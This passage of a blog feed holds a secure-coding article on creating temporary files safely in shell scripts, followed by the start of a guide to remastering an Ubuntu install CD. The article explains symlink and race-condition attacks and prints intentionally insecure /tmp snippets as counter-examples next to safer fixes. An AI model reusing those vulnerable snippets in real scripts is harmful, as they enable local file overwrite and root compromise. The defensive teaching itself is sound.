href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId75569&quot;&gt;1. Introduction&lt;/a&gt;   &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId2942&quot;&gt;1.1 Why I wrote this &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId68239&quot;&gt;1.2 Symlink Exploits: The Basic Idea&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId207934&quot;&gt;2. Common mistakes&lt;/a&gt;  &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId547260&quot;&gt;2.1 Predictable filename &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId58244&quot;&gt;2.2 Race conditions &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId803583&quot;&gt;2.3 Identifying vulnerable code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId831427&quot;&gt;3. Writing secure code &lt;/a&gt;  &lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId440182&quot;&gt;3.1 Don&#39;t use tempfiles &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId831804&quot;&gt;3.2 Use mktemp &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId448925&quot;&gt;3.3 Notes on mktemp&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId648982&quot;&gt;3.4 Creating tempdirs with mkdir &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId316364&quot;&gt;3.5 Mkdir deluxe &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId289273&quot;&gt;3.6 Mixing mktemp and mkdir&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://www.linuxsecurity.com/content/view/115462/151/#mozTocId865740&quot;&gt;4.0 Conclusion&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name=&quot;mozTocId615082&quot; class=&quot;mozTocH3&quot;&gt;&lt;/a&gt;&lt;a name=&quot;0&quot;&gt;&lt;/a&gt;0. Abstract&lt;/h3&gt; This paper discusses how a programmer can write shell scripts that securely create temporary files in world/group writable directories. After explaining why it is important to be careful with temporary files I give some hints on how to identify and fix vulnerable shell scripts. This paper concentrates on how things are done. I intentionally leave out lots of gory details in order to make this document shorter and easier to understand for people that just want to write secure code with as little extra effort as possible.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;a name=&quot;mozTocId75569&quot; class=&quot;mozTocH3&quot;&gt;&lt;/a&gt;&lt;a name=&quot;1&quot;&gt;&lt;/a&gt;1. Introduction&lt;/h3&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId2942&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;1_1&quot;&gt;&lt;/a&gt;1.1 Why I wrote this&lt;br /&gt; &lt;/h4&gt; &lt;p&gt;There are actually many documents and papers out there that describe how to securely create temporary files, so why yet another one? Unfortunately, most of these documents refer mainly to C programs even though many temporary files are created by shell scripts. Such shell scripts are wrappers for other programs or configuration scripts. They are inside Makefiles, they are install scripts included in RPM packages or just small tools written by the admin. Due to the nature of these scripts they very often handle temporary files. In contrast to C/C++ there is no standard mechanism for creating temporary files. In order to compensate for this, programmers have to reinvent the wheel time and time again which is very error prone. As a result many scripts handle temporary files insecurely, creating a security risk that is often underestimated.&lt;br /&gt;&lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId68239&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;12&quot;&gt;&lt;/a&gt;1.2 Symlink Exploits: The Basic Idea&lt;/h4&gt; &lt;p&gt;Programmers often do not think that creating temporary files in a secure way is important. After all it is just a tiny shell script. I will give a very brief introduction of how this can be exploited by an attacker in order to underline the importance of secure tempfile handling:&lt;/p&gt; &lt;p&gt;The basic idea of a symlink exploit is to predict where an application will create its temporary file and put a symbolic link (symlink) at that place. When the application now tries to work with a tempfile it will actually work with the file that the symlink points to. The most simplistic thing a (local) attacker can do with this is to have the symlink point to important files such as /bin/bash. This will cause the program (assuming it has root privileges) to overwrite /bin/bash with its temporary data, making the system unusable.&lt;/p&gt; &lt;p&gt;It is also possible to use this type of exploit to gain complete root privileges. If an attacker is somehow able to influence what data the insecure program writes to the tempfile (now /bin/bash) he can as a result modify the contents of /bin/bash or any other executable on the system. Obviously he will then get root privileges the next time the modified executable is run by root.Â  There are more advanced concepts for exploiting insecure tempfile creation (not all of them involve symlinks), but these simple examples should demonstrate that insecure file creation may cause a lot of trouble.&lt;/p&gt; &lt;h3&gt;&lt;a name=&quot;mozTocId207934&quot; class=&quot;mozTocH3&quot;&gt;&lt;/a&gt;&lt;a name=&quot;2&quot;&gt;&lt;/a&gt;2. Common mistakes&lt;/h3&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId547260&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;2_1&quot;&gt;&lt;/a&gt;2.1 Predictable filename&lt;br /&gt; &lt;/h4&gt; &lt;p&gt;In order to make it easier for you to identify vulnerable code I will show you some examples of how you should NOT create your temporary files.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Very often shell scripts create their temporary files without any checks at all:&lt;/p&gt; &lt;pre&gt; sort /some/file &gt; /tmp/tempfile&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;This will make an exploit trivial: Just create a symlink called /tmp/tempfile and let it point to a file you want to overwrite.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Other vulnerable programs will create temporary files with a name like /tmp/tempfile.$$. The $$ variable contains the process ID (PID) of the shell running the shell script. This is very useful if you have several shell scripts running in parallel: Each one will have its unique tempfile name (because it has a unique PID) so there will be no conflicts. Unfortunately this does not improve security. An attacker knows that the PID of your program will most likely be between 1 and 33000. So the attacker will create 33000 symlinks, knowing that one of them will work.&lt;br /&gt;&lt;/p&gt;  &lt;h4&gt;&lt;a name=&quot;mozTocId58244&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;2_2&quot;&gt;&lt;/a&gt;2.2 Race conditions&lt;br /&gt;&lt;/h4&gt; &lt;p&gt;The obvious solution to the problems from 2.1 seems to be this:&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; rm -rf /tmp/tempfile.$$&lt;br /&gt; sort /some/file &gt; /tmp/tempfile.$$&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;&quot;rm&quot; will delete the symlink itself (not the file that the symlink points to), so that the &quot;sort&quot; command will be safe. It may sound good, yet the script is still insecure because now you have a race condition. Once the symlink gets deleted the attacker will know that &quot;rm&quot; was successfully run by the victim. Now he re-creates the symlink in the hope that the sort command has not yet created the tempfile. The attacker cannot be 100% sure that his exploit will be successful, but he can keep trying until it works.&lt;br /&gt;&lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId803583&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;2_3&quot;&gt;&lt;/a&gt;2.3 Identifying vulnerable code&lt;/h4&gt;  &lt;p&gt;There are many variations of the above examples so one could think this kind of vulnerability is hard to find. Actually, it is much easier to detect than buffer overflows or format string vulnerabilities. Just do a&lt;/p&gt; &lt;pre&gt; grep -RH /tmp *&lt;/pre&gt; &lt;p&gt;if you suspect that your package contains vulnerable code. If you feel really bored some day just try and scan your entire system, you might be surprised! Check if the files found by grep handle their tempfiles securely. If they do not, the next chapter will tell you how to fix this.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;h3&gt;&lt;a name=&quot;mozTocId831427&quot; class=&quot;mozTocH3&quot;&gt;&lt;/a&gt;&lt;a name=&quot;3&quot;&gt;&lt;/a&gt;3. Writing secure code&lt;br /&gt;&lt;/h3&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId440182&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;3_1&quot;&gt;&lt;/a&gt;3.1 Don&#39;t use tempfiles&lt;br /&gt;&lt;/h4&gt; &lt;p&gt;This may sound a little stupid at first, yet there is some truth to it: If you don&#39;t do anything you can&#39;t mess up anything. Sometimes programs use tempfiles even though it is not necessary. Most commands can write their results to standard output instead of a file. Assuming that you have just a few bytes or kilobytes of temporary data it could actually be much more convenient for you as a programmer to store it in a variable rather than a file. This way you can sometimes avoid any risk of insecurely creating tempfiles simply by not creating them at all.&lt;br /&gt; &lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId831804&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;3_2&quot;&gt;&lt;/a&gt;3.2 Use mktemp&lt;br /&gt;&lt;/h4&gt; &lt;p&gt;If you have to use tempfiles then mktemp could be what you are looking for. Realizing that the creation of tempfiles in shell scripts is a security problem, Todd C. Miller wrote &lt;a href=&quot;http://www.mktemp.org/&quot;&gt;mktemp&lt;/a&gt;, a tool that will do this for you. The &lt;a href=&quot;http://www.mktemp.org/mktemp/manual.html&quot;&gt;man page&lt;/a&gt; gives you some good examples of how to use it securely, so I am not going to explain that. If you write shell scripts for an environment where mktemp is available you should definitely use it to create your temporary files.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Just one little problem: Not all Linux distributions come with mktemp in their default install, so you cannot rely on mktemp to be available. Other Unixes (e.g. Solaris) don&#39;t necessarily have it either. If you want your script to be able to run on a wide variety of systems you will have to get along without mktemp. If maximum compatibility is not that much of an issue for you, you can just tell your users to install mktemp before they use your software. Mktemp will compile almost everywhere, so that should not be a big issue for most people.&lt;br /&gt;&lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId448925&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;4_1&quot;&gt;&lt;/a&gt;3.3 Notes on mktemp&lt;/h4&gt;  &lt;p&gt;What you should know is that Suse Linux comes with a rather old version of mktemp. This older version of mktemp does not understand all of the command line options that are described on the mktemp website. It only understands the -d -q and -u options. If you try to use some of the newer options mktemp will simply exit and signal an error. &lt;/p&gt; &lt;p&gt;Similarly, the mktemp that comes with Mac OS X and FreeBSD 4.9/5.2 only supports -d -q -u and -t. Mktemp on Debian supports -d -q -u -t -p but not the -V option. So you should be careful when you use the new -V -p and -t options. It is probably better to stick to -d -q and -u for now to ensure portability. Optionally you may ask you distributor of choice to update his mktemp package. &lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId648982&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;3_3&quot;&gt;&lt;/a&gt;3.4 Creating tempdirs with mkdir&lt;br /&gt;&lt;/h4&gt; &lt;p&gt;Ok, so you are writing scripts for systems that may not have mktemp. Let&#39;s look for something to replace it that is available on all platforms. The mkdir command will do the job. &quot;mkdir /tmp/tempdir.$$&quot; will create the directory /tmp/tempdir.$$ and signal an error if it already existed. This is similar to whatÂ  &quot;mktemp -d&quot; would do. But mkdir lacks some of the luxury that mktemp provides, so the code gets a little more complicated:&lt;/p&gt; &lt;pre&gt; (umask 077 &amp;amp;&amp;amp; mkdir /tmp/tempdir.$$) || exit 1&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Explanation: The umask command ensures that when mkdir creates the directory it will have an access mode of 700. Running chmod 700 afterwards would be a bit less secure. Because the umask is in parentheses it will not affect the umask for anything other than the mkdir command. If mkdir signals an error for whatever reason, the program exits. This approach is used by many shell scripts and is secure against symlink exploits. The code should work on every decent operating system that deserves to be called Unix-like.&lt;br /&gt; &lt;/p&gt; &lt;p&gt;Now that you have created yourself a secure temporary directory you can create new files/directories/whatever inside this tempdir without having to worry about security: You own the directory, you are the only one that has access to it. This makes it easy to fix existing code. All you need to do is add the code for the secure tempdir creation, adjust a few pathnames and you are finished! Just don&#39;t forget to clean up after yourself and delete the tempdir with &quot;rm -rf&quot; when you are finished with it.&lt;br /&gt;&lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId316364&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;3_4&quot;&gt;&lt;/a&gt;3.5 Mkdir deluxe&lt;br /&gt;&lt;/h4&gt; &lt;p&gt;While the above code is pretty good there is still room for improvements. First you should find out if the admin really wants you to use /tmp/ for your temporary data. For this purpose there is a shell variable called TMPDIR. IfÂ  TMPDIR is set you should use this directory to create your temporary files. That way the admin can for example improve security by assigning each user a separate (=safe) directory for temporary data.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Using $$ is a convenient way of creating unique names for tempfiles. And even though the filename can be predicted the directory is still created in a secure way by the mkdir command. The question that remains is: Secure against what? Well, it is secure against symlink exploits and the like. But it is not secure against a DoS attack. An attacker simply keeps your application from creating its temporary directory by imitating (!) a symlink attack. That way your program always exits and never completely does what it is supposed to do. Depending on the program, this alone can be a security threat.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;This problem can be avoided by appending $RANDOM to the filename. This variable contains a random integer between 0 and 32767. In order to get filenames that are as unpredictable as the ones created by mktemp you will need to append $RANDOM to your filename three times for a total of 35184372088832 (=2^45) different possible combinations. So here comes the code to create a temporary directory:&lt;br /&gt; &lt;/p&gt; &lt;pre&gt; tmp=${TMPDIR-/tmp}&lt;br /&gt; tmp=$tmp/somedir.$RANDOM.$RANDOM.$RANDOM.$$&lt;br /&gt; (umask 077 &amp;amp;&amp;amp; mkdir $tmp) || {&lt;br /&gt;  echo &quot;Could not create temporary directory! Exiting.&quot; 1&gt;&amp;amp;2&lt;br /&gt;  exit 1&lt;br /&gt; }&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;Explanation:&lt;br /&gt;Â Line one will set tmp to $TMPDIR if $TMPDIR is defined. If $TMPDIR is undefined &quot;/tmp&quot; is used as a default. Line 2 builds the actual directory name using $RANDOM three times. It is important that you put some kind of separator like the &quot;.&quot; between the numbers. Without the &quot;.&quot; there would be no difference between the random numbers 12, 34 and 56 (=123456) and the random numbers 123, 45 and 6 (=123456). As a result the number of different combinations would decrease considerably, thereby making your directory name more predictable. You should replace &quot;somedir&quot; with a more meaningful name in your own script. If anything goes wrong, an error message will be printed (to stderr, where it belongs) and the program exits. If everything is ok, then $tmp will contain the name of your temporary directory.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;The only trouble you may have with this is $RANDOM. This variable is a feature of the Bourne Again Shell (bash) and not included in the normal Bourne Shell (sh). But on every Linux I have seen (and on MacOS X) both &quot;sh&quot; and &quot;bash&quot; are just the good old GNU bash that will happily provide you with $RANDOM. On other systems it may not be available.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;But even then there is no reason to worry. In those cases $RANDOM will simply be an uninitialized variable that defaults to &quot;&quot;.Â  Hence your directory will be &quot;/tmp/somedir....123&quot; if your PID is 123. This is also the reason why I append the $$ to the directory name: To make sure I get unique directory names even if $RANDOM is not supported. On systems that don&#39;t provide $RANDOM this program will act just like the one given in chapter 3.4.&lt;br /&gt;&lt;/p&gt; &lt;h4&gt;&lt;a name=&quot;mozTocId289273&quot; class=&quot;mozTocH4&quot;&gt;&lt;/a&gt;&lt;a name=&quot;3_5&quot;&gt;&lt;/a&gt;3.6 Mixing mktemp and mkdir&lt;/h4&gt; &lt;p&gt;Many shell scripts try to use mktemp to create their tempdirs. If mktemp is not available they will resort to using mkdir. At first glance this makes perfect sense: try to use the secure mktemp and only use mkdir if you have to. But once you think about it you will realize that this is rather illogical. Because for you as a programmer there are two possible scenarios that you have to take into account when writing a shell script:&lt;br /&gt; &lt;/p&gt; &lt;p&gt;1. mktemp is always available&lt;br /&gt;In this case there is no point in including the code that uses mkdir. It will never be used and is therefore dead code that should be removed.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;2. mktemp may not be available.&lt;br /&gt;That means now you have to include the mkdir code. Of course this code is secure enough for your purpose. If it is not, then you got a vulnerability that you should fix right now! So if you already have code that uses mkdir and is sufficiently secure, why would you want to use mktemp? Your program works perfectly fine without it and you get no security benefit from using it. Obviously, mktemp is unnecessary in this scenario and the code using it should be removed. &lt;/p&gt; &lt;p&gt;There may be exceptions to this, but 99% of the time you should use either mktemp or mkdir but NOT both.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;If you really do need to mix mktemp and mkdir (which is unlikely) make sure you don&#39;t repeat a very common mistake:&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; #try mktemp&lt;br /&gt; tempfile=`mktemp /tmp/secureXXXXXXXX`&lt;br /&gt;&lt;br /&gt; #if mktemp didn&#39;t work, use insecure name&lt;br /&gt; test -n $tempfile &amp;amp;&amp;amp; $tempfile=/tmp/insecure$$&lt;br /&gt;&lt;br /&gt; do_whatever &gt; $tempfile&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;You would expect this code to be secure on all systems that provide mktemp. Wrong! This one is vulnerable on every system. An attacker will prepare a symlink attack against the /tmp/insecure$$ file name. Then he will fill up the /tmp partition with data. As /tmp is full, mktemp will fail and the insecure file name will be used. You may now object that there are quotas and the like. But you as a programmer cannot expect everybody to set up quotas for /tmp. And even if there is a quota an intelligent attacker can still flood /tmp in most cases. A solution could look like this:&lt;br /&gt;&lt;/p&gt; &lt;pre&gt; #look for mktemp&lt;br /&gt; mymktemp=`which mktemp`&lt;br /&gt; &lt;br /&gt; test -n $mymktemp &amp;amp;&amp;amp; {&lt;br /&gt;  #mktemp available&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; test -z $mymktemp &amp;amp;&amp;amp; {&lt;br /&gt;  #no mktemp&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;  &lt;p&gt;This code checks if mktemp can be found and reacts accordingly. But as stated above, you should hardly ever need to do this.&lt;br /&gt;&lt;/p&gt; &lt;h3&gt;&lt;a name=&quot;mozTocId865740&quot; class=&quot;mozTocH3&quot;&gt;&lt;/a&gt;&lt;a name=&quot;4&quot;&gt;&lt;/a&gt;4.0 Conclusion&lt;/h3&gt; As you have seen there are many mistakes one can make when creating tempfiles that can lead to anything from downtime to root compromise. Even though /tmp is the most prominent example for such security issues, it is certainly not the only dangerous directory. Whenever you work in group- or world-writable directories you have to make sure that your temporary files are created securely. You can protect yourself against such attacks quite easily if you just copy and paste a few lines of secure code into your script and adjust a number of lines. So you should take 5 minutes and check your scripts, it&#39;s definitely worth the time.</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/2033252629218350506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/2033252629218350506' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2033252629218350506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2033252629218350506'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/11/safely-creating-temporary-files-in.html' title='Safely Creating Temporary Files in Shell Scripts'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1501855996580398212.post-4707996851594960646</id><published>2009-08-31T02:23:00.001-07:00</published><updated>2009-08-31T02:23:45.802-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Remastering a Ubuntu Alternate CD"/><title type='text'>Remastering a Ubuntu Alternate CD</title><content type='html'>&lt;h1 class=&quot;firstHeading&quot;&gt;Remastering a Ubuntu Alternate CD&lt;/h1&gt;       &lt;h3 id=&quot;siteSub&quot;&gt;From COMPSA&lt;/h3&gt;              &lt;div id=&quot;jump-to-nav&quot;&gt;Jump to: &lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD#column-one&quot;&gt;navigation&lt;/a&gt;, &lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD#searchInput&quot;&gt;search&lt;/a&gt;&lt;/div&gt;   &lt;!-- start content --&gt;    &lt;ul&gt;&lt;li&gt;&lt;b&gt;Warning!&lt;/b&gt; If you are not familiar with at least the basics of Linux or virtual machines it is suggested that you get some time using them before attempting to follow the instructions on this page. &lt;/li&gt;&lt;/ul&gt; &lt;table id=&quot;toc&quot; class=&quot;toc&quot; summary=&quot;Contents&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;div id=&quot;toctitle&quot;&gt;&lt;h2&gt;Contents&lt;/h2&gt; &lt;span class=&quot;toctoggle&quot;&gt;[&lt;a href=&quot;javascript:toggleToc()&quot; class=&quot;internal&quot; id=&quot;togglelink&quot;&gt;hide&lt;/a&gt;]&lt;/span&gt;&lt;/div&gt; &lt;ul&gt;&lt;li class=&quot;toclevel-1&quot;&gt;&lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD#Overview&quot;&gt;&lt;span class=&quot;tocnumber&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;toctext&quot;&gt;Overview&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class=&quot;toclevel-1&quot;&gt;&lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD#Useful_tools&quot;&gt;&lt;span class=&quot;tocnumber&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;toctext&quot;&gt;Useful tools&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class=&quot;toclevel-1&quot;&gt;&lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD#The_Process&quot;&gt;&lt;span class=&quot;tocnumber&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;toctext&quot;&gt;The Process&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li class=&quot;toclevel-1&quot;&gt;&lt;a href=&quot;http://compsa.queensu.ca/Remastering_a_Ubuntu_Alternate_CD#See_also&quot;&gt;&lt;span class=&quot;tocnumber&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;toctext&quot;&gt;See also&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;script type=&quot;text/javascript&quot;&gt; if (window.showTocToggle) { var tocShowText = &quot;show&quot;; var tocHideText = &quot;hide&quot;; showTocToggle(); } &lt;/script&gt; &lt;a name=&quot;Overview&quot; id=&quot;Overview&quot;&gt;&lt;/a&gt;&lt;h2&gt; &lt;span class=&quot;mw-headline&quot;&gt; Overview &lt;/span&gt;&lt;/h2&gt; &lt;p&gt;The goal of this page is to outline the process that we&#39;ve come down to for creating an install CD for Ubuntu which is faster and easier to run on a large number of systems than the regular install is. This custom CD is also supposed to have all updates streamed into it (or at least a mechanism in place to automatically perform these updates) and should install common software not included in Ubuntu&#39;s default installation (such as the Flash player, MP3 support, etc.). &lt;/p&gt; &lt;a name=&quot;Useful_tools&quot; id=&quot;Useful_tools&quot;&gt;&lt;/a&gt;&lt;h2&gt; &lt;span class=&quot;mw-headline&quot;&gt;  Useful tools &lt;/span&gt;&lt;/h2&gt; &lt;ul&gt;&lt;li&gt;&lt;b&gt;VMWare server&lt;/b&gt; is helpful for testing installations in a quick fashion (and can test remastered CDs without requiring you to use up physical media). VMWare is available at no cost from &lt;a href=&quot;http://www.vmware.com/download/server/&quot; class=&quot;external text&quot; title=&quot;http://www.vmware.com/download/server/&quot; rel=&quot;nofollow&quot;&gt;VMWare.com&lt;/a&gt; (you&#39;ll need a serial number from the same site, feel free to use &lt;a href=&quot;http://mailinator.com/&quot; class=&quot;external text&quot; title=&quot;http://mailinator.com/&quot; rel=&quot;nofollow&quot;&gt;mailinator&lt;/a&gt; or whatever instead of your real info if you&#39;d like; they are a well-behaved company, though, in terms of sending out e-mail). &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;b&gt;QEmu&lt;/b&gt; is a also available; it can perform the same function as VMWare server; but, also allows people on other architectures to make their machine emulate an x86 processor. &lt;a href=&quot;http://fabrice.bellard.free.fr/qemu/&quot; class=&quot;external text&quot; title=&quot;http://fabrice.bellard.free.fr/qemu/&quot; rel=&quot;nofollow&quot;&gt;QEmu website&lt;/a&gt;  &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;You will require a Linux distribution to be able to remaster CDs. Just about any modern distribution is fine as the tools we use are pretty much universal (mount, rsync, a text editor, and mkisofs). The remastering process requires a significant amount of hard drive space (I&#39;d suggest plan for it to use at least 10 GB assuming you use one or more virtual machines for testing your CD). &lt;/li&gt;&lt;/ul&gt; &lt;a name=&quot;The_Process&quot; id=&quot;The_Process&quot;&gt;&lt;/a&gt;&lt;h2&gt; &lt;span class=&quot;mw-headline&quot;&gt; The Process &lt;/span&gt;&lt;/h2&gt; &lt;p&gt;1) Fetch a copy of Ubuntu&#39;s alternate install CD if you don&#39;t have one already. Do not get the Live CD (which is the default one). Unless you know otherwise you want to get the i386 version (since that&#39;s what all of the machines we&#39;ve been donated so far require). &lt;/p&gt;&lt;p&gt;2) Extract the files from the ISO image to a directory, let&#39;s call it buntu (note: you can&#39;t use a graphical tool like Archive Manager to do this-- it&#39;ll appear to succeed; but, will create a corrupt CD later on-- you must perform this command as root) &lt;/p&gt; &lt;pre&gt;mount ubuntu-6.06.1-alternate-i386.iso ubuntu-iso/ -t iso9660,ro -o loop&lt;br /&gt;rsync -azvb --delete ubuntu-iso/ buntu/&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;3) Change into directory &lt;i&gt;buntu&lt;/i&gt; &lt;/p&gt;&lt;p&gt;4) Add to isolinux/isolinux.cfg directly before the LABEL install bit this (everything after append should be on the same line): &lt;/p&gt; &lt;pre&gt;LABEL forcause&lt;br /&gt; menu label Install Co^mputers for a Cause version&lt;br /&gt; kernel /install/vmlinuz&lt;br /&gt; append  debian-installer/locale=en_US kbd-chooser/method=us&lt;br /&gt;netcfg/get_hostname=ubuntu debconf/priority=critical&lt;br /&gt;preseed/file/cdrom/preseed/cause.seed&lt;br /&gt;initrd=/install/initrd.gz ramdisk_size=16384 root=/dev/ram rw --&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;(this adds a new option to the menu when the install CD starts up titled Install Computers for a Cause version and specifies language and location information. It also tells the installer where to look for information about what installation options to pick and tells the installer not to ask about anything but critical decisions) &lt;/p&gt;&lt;p&gt;5) Copy the contents of &lt;a href=&quot;http://compsa.queensu.ca/Cause.seed&quot; title=&quot;Cause.seed&quot;&gt;cause.seed&lt;/a&gt; to a plain text file preseed/cause.seed &lt;/p&gt;&lt;p&gt;6) &lt;i&gt;Optional&lt;/i&gt; If you&#39;d like edit isolinux/splash.pcx to be a pretty custom startup screen. &lt;/p&gt;&lt;p&gt;7) Change back up a directory so you&#39;re in the directory above &lt;i&gt;buntu&lt;/i&gt; &lt;/p&gt;&lt;p&gt;8) Generate a new CD image called NewCD.iso &lt;/p&gt; &lt;pre&gt;mkisofs    \&lt;br /&gt;-r    \&lt;br /&gt;-V &quot;Ubuntu 6.06.1 i386&quot;    \&lt;br /&gt;-cache-inodes    \&lt;br /&gt;-J    \&lt;br /&gt;-l    \&lt;br /&gt;-b isolinux/isolinux.bin    \&lt;br /&gt;-c isolinux/boot.cat    \&lt;br /&gt;-no-emul-boot    \&lt;br /&gt;-boot-load-size 4    \&lt;br /&gt;-boot-info-table    \&lt;br /&gt;-o ../NewCD.iso buntu/&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;9) Voila! You now have a customized Ubuntu CD. Feel free to test it in VMWare or QEmu or to burn it to a physical CD. &lt;/p&gt; &lt;a name=&quot;See_also&quot; id=&quot;See_also&quot;&gt;&lt;/a&gt;&lt;h2&gt; &lt;span class=&quot;mw-headline&quot;&gt;  See also &lt;/span&gt;&lt;/h2&gt; &lt;p&gt;These links contain more information or possible alternative approaches: &lt;/p&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;http://www.instalinux.com/&quot; class=&quot;external text&quot; title=&quot;http://www.instalinux.com/&quot; rel=&quot;nofollow&quot;&gt;Instalinux&lt;/a&gt; - Create a custom network install image  &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;a href=&quot;http://linuxcoe.sourceforge.net/&quot; class=&quot;external text&quot; title=&quot;http://linuxcoe.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;HP Linux Common 